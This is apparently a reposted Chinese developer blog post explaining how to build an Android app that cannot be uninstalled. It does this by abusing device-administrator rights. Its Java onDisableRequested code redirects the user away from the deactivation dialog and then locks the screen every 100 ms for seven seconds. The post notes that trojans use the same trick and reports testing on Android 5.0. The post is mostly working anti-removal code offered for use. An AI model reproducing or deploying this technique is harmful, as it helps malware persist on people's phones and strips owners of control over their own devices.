编写一个无法卸载的App - 设备管理器漏洞--进阶

Android上使用设备管理器漏洞达到防卸载的目的请参照:https://blog.csdn.net/chaozhung_no_l/article/details/52329341


经过多设备测试后发现一个防卸载的漏洞,在取消激活黑屏后,再次进入界面时点击系统Back键或者点击Menu键会在最近任务

列表内出现设备管理器取消确认的弹窗,这样就可以进一步的卸载。

该问题出现原因无非下面两种状况:

1、

getPackageManager().getLaunchIntentForPackage("com.android.settings")
跳转到设置后未能及时finish掉系统弹窗,开屏后直接按back键会回到上一个界面。然而系统设置的弹窗我们使用第三方APP是没有权限处理的。

2、

//跳转回到主界面
Intent intentt = new Intent(context, TestActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); //如果是服务里调用,必须加入new task标识
intent.addCategory(Intent.CATEGORY_HOME);
context.startActivity(intentt);
如果直接跳转到系统桌面的话,就会面临menu键调出最近任务列表内会出现最后调用设置的选项,这样取消激活的弹窗又会出现。

针对这种问题我们可以直接采用以下方案:

1、黑屏前跳转到设置(可以避免按menu键最近任务列表内出现弹窗)

2、跳转到设置后再次进行跳转到当前系统桌面(可以避免按Back键返回上一次的系统设置界面)


以下直接上代码:

https://blog.csdn.net/chaozhung_no_l/article/details/52329341 这篇文章内提到:

已激活设备管理器权限的手机木马利用该漏洞,可以在设置程序的设备管理器列表中隐藏,这样用户就无法通过正常途径取消该手机木马的设备管理器权限,从而达到无法卸载的目的。Android4.2版本以上系统已经修复该漏洞。

通过调用stopAppSwitch()方法,系统保证在进入取消设备管理器界面后,5秒内不会进行Activity的切换。

onDisableRequested函数满足以下条件即可:

1、返回内容不能为空,这样才可以使设备管理器弹出取消激活设备管理器警示信息 Dialog。

2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。
如果做到以上两点,程序即可成功阻止用户取消激活设备管理器操作。

故,只要在 onDisableRequested 方法中,让用户在取消激活时5s内无法操作界面,然后采取 Activity 切换的方法即可绕开取消激活的步骤。这里为了测试直观并且试一试设备管理器的 api,采用了百度提供的连续锁屏法。测试环境为5.0。


public CharSequence onDisableRequested(Context context, Intent intent) {                                            
                                                                                                                             

//跳转回到设置
     Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
     outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
     context.startActivity(outOfDialog);

     //休息200毫秒,调回主界面
    try {
		Thread.sleep(200);
		} catch (InterruptedException e) {
			e.printStackTrace();
    }

     //跳转回到主界面
     Intent intentt = new Intent(context, TestActivity.class);
     intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); //如果是服务里调用,必须加入new task标识
     intent.addCategory(Intent.CATEGORY_HOME);
     context.startActivity(intentt);
	
                                                                                                                    
    //调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后                                                                
    final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);  
    dpm.lockNow();                                                                                                  
    new Thread(new Runnable() {                                                                                     
        @Override                                                                                                   
        public void run() {                                                                                         
            int i = 0;                                                                                              
            while (i < 70) {                                                                                        
                dpm.lockNow();                                                                                      
                try {                                                                                               
                    Thread.sleep(100);                                                                              
                    i++;                                                                                            
                } catch (InterruptedException e) {                                                                  
                    e.printStackTrace();                                                                            
                }                                                                                                   
            }                                                                                                       
        }                                                                                                           
    }).start();                                                                                                     
                                                                                                                    
    return "";                                                                                                      
}


  1. 安装后打开直接跳转激活界面:
    安装后打开直接跳转激活界面

  2. 一旦激活则无法正常卸载
    一旦激活则无法正常卸载

  3. 进入设备管理器界面
    进入设备管理器界面

  4. 尝试取消激活
    尝试取消激活

  5. 强制进入锁屏
    强制进入锁屏

至此,用户用普通方法无法卸载该app。测试使用某数字软件可以卸载,具体步骤:在数字软件的软件卸载功能中卸载Trick,此时提示取消激活,跳转到设备管理器界面取消激活,引发锁屏,强制锁屏7s结束后,切回数字软件,你会发现出现了取消激活的dialog,点击取消成功。



猜你喜欢

转载自blog.csdn.net/chaozhung/article/details/80271058